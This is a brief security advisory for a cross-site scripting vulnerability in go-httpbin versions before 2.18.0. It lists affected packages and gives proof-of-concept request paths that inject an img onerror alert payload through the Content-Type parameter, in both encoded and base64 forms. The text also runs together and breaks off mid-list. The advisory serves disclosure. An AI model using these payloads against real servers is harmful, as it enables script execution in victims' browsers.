| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/mccutchen/go-httpbin | < 2.18.0all versions | 2.18.0 |
| github.com/mccutchen/go-httpbin/v2 | < 2.18.0 | 2.18.0 |
| go-httpbin | < 2.18.0 | 2.18.0 |
The go-httpbin framework is vulnerable to XSS as the user can control the Response Content-Type from GET parameter. This allows attacker to execute cross site scripts in victims browser.
/response-headers?Content-Type=text/html&xss=%3Cimg/src/onerror=alert(%27xss%27)%3E/base64/PGltZy9zcmMvb25lcnJvcj1hbGVydCgneHNzJyk+?content-type=text/html/base64/decode/PGltZy9zcmMvb25lcnJvcj1hbGVydCgneHNzJyk+?content-type=text/htmlThe following can be major impacts of the issue:
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free